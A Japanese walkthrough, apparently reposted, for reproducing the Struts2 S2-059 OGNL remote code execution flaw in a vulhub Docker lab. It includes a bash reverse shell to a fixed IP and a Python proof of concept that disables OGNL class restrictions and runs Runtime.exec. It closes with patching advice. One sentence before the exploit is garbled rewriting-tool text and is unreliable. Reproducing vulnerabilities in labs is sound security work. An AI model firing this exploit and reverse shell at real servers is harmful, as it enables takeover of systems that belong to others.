ホームページ > 運用・保守 > 安全性 > Struts2 S2-059 リモート コード実行の脆弱性はどのように再現しますか?

Struts2 S2-059 リモート コード実行の脆弱性はどのように再現しますか?

王林
リリース: 2023-05-23 22:37:16
転載
1509 人が閲覧しました

0x00はじめに

Struts2 は、Apache ソフトウェア組織によって開発された非常に強力な Java Web オープン ソース フレームワークであり、本質的にはサーブレットと同等です。 Struts2 は MVC アーキテクチャに基づいており、明確なフレームワーク構造を持っています。通常、モデルとビュー間のデータ対話を確立するためのコントローラーとして使用され、エンタープライズ レベルの Java Web アプリケーションの作成に使用されます。Java サーブレット API を利用および拡張し、開発者に MVC アーキテクチャの採用を奨励します。 Struts2 は、WebWork の優れた設計アイデアをコアとして採用し、Struts フレームワークのいくつかの利点を吸収し、MVC 設計パターンで実装されたより整った Web アプリケーション フレームワークを提供します。

0x01 脆弱性の概要

攻撃者は悪意のある OGNL 式を構築し、外部入力によって変更されるように設定すると、OGNL 式が実行されます。 Struts2 タグの変更により OGNL 式の解析がトリガーされ、最終的にはリモート コードが実行されます。

#0x02 影響範囲

Struts 2.0.0 – Struts 2.5.20

0x03 環境設定

1. この脆弱性環境は、vulhub を使用して迅速に構築されます. vulhub のダウンロード アドレスは次のとおりです:

https://github.com/vulhub/vulhub

cd vulhub-master/ struts2/s2-059

Struts2 S2-059 远程代码执行漏洞复现是怎么样的

2. docker-compose を使用して射撃場環境を迅速に構築する

docker-compose up -d

Struts2 S2-059 远程代码执行漏洞复现是怎么样的

3. 起動が完了したら、ブラウザで http://ip:8080/?id=1 にアクセスすると、テスト インターフェイスが表示されます

Struts2 S2-059 远程代码执行漏洞复现是怎么样的

0x04 脆弱性の再発 #1. ブラウザで http://ip:8080/?id=%{88*88} にアクセスすると、実行されたことがわかります。 88*88 は正常に解析され、OGNL 式が実行されます。Struts2 タグの属性値により、OGNL 式の解析がトリガーされます。

Struts2 S2-059 远程代码执行漏洞复现是怎么样的2. poc を使用してシェルをリバウンドします。リバウンド シェルのペイロードは、base64

bash -i >& /dev でエンコードする必要があります。 /tcp/172.16. 1.132/9967 0>&1

base64 エンコードされた URL:

元の文はすでにリンクを提供する完全な文です。これを書き直すと、次のようになります。次のようなものになります: ランタイム exec ペイロードに関する情報を含む Web ページへのリンクは次のとおりです: http://www.jackson-t.ca/runtime-exec-payloads.html.

Struts2 S2-059 远程代码执行漏洞复现是怎么样的

import requests

url = "http://127.0.0.1:8080"

data1 = {

"id": "%{(#context=#attr['struts.valueStack'].context).(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.setExcludedClasses('')).(#ognlUtil.setExcludedPackageNames(''))}"

}

data2 = {

"id": "%{(#context=#attr['struts.valueStack'].context).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec('payload-base64编码'))}"

}

res1 = requests.post(url, data=data1)

res2 = requests.post(url, data=data2)
ログイン後にコピー
#3. poc 内のペイロードを独自のペイロードに変更し、Python を使用して実行すると、シェルがバウンス

Struts2 S2-059 远程代码执行漏洞复现是怎么样的

Struts2 S2-059 远程代码执行漏洞复现是怎么样的##0x05 修復に関する提案

1. Struts 2.5.22 以降にアップグレードします

2. ONGL 式インジェクション保護対策を有効にします。

https://struts.apache.org/security/#proactively-protect-from-ognl-expression-injections-攻撃-if-easy-applicable

以上がStruts2 S2-059 リモート コード実行の脆弱性はどのように再現しますか?の詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。

関連ラベル:
ソース:yisu.com
このウェブサイトの声明
この記事の内容はネチズンが自主的に寄稿したものであり、著作権は原著者に帰属します。このサイトは、それに相当する法的責任を負いません。盗作または侵害の疑いのあるコンテンツを見つけた場合は、admin@php.cn までご連絡ください。
人気のチュートリアル
詳細>
最新のダウンロード
詳細>
ウェブエフェクト
公式サイト
サイト素材
フロントエンドテンプレート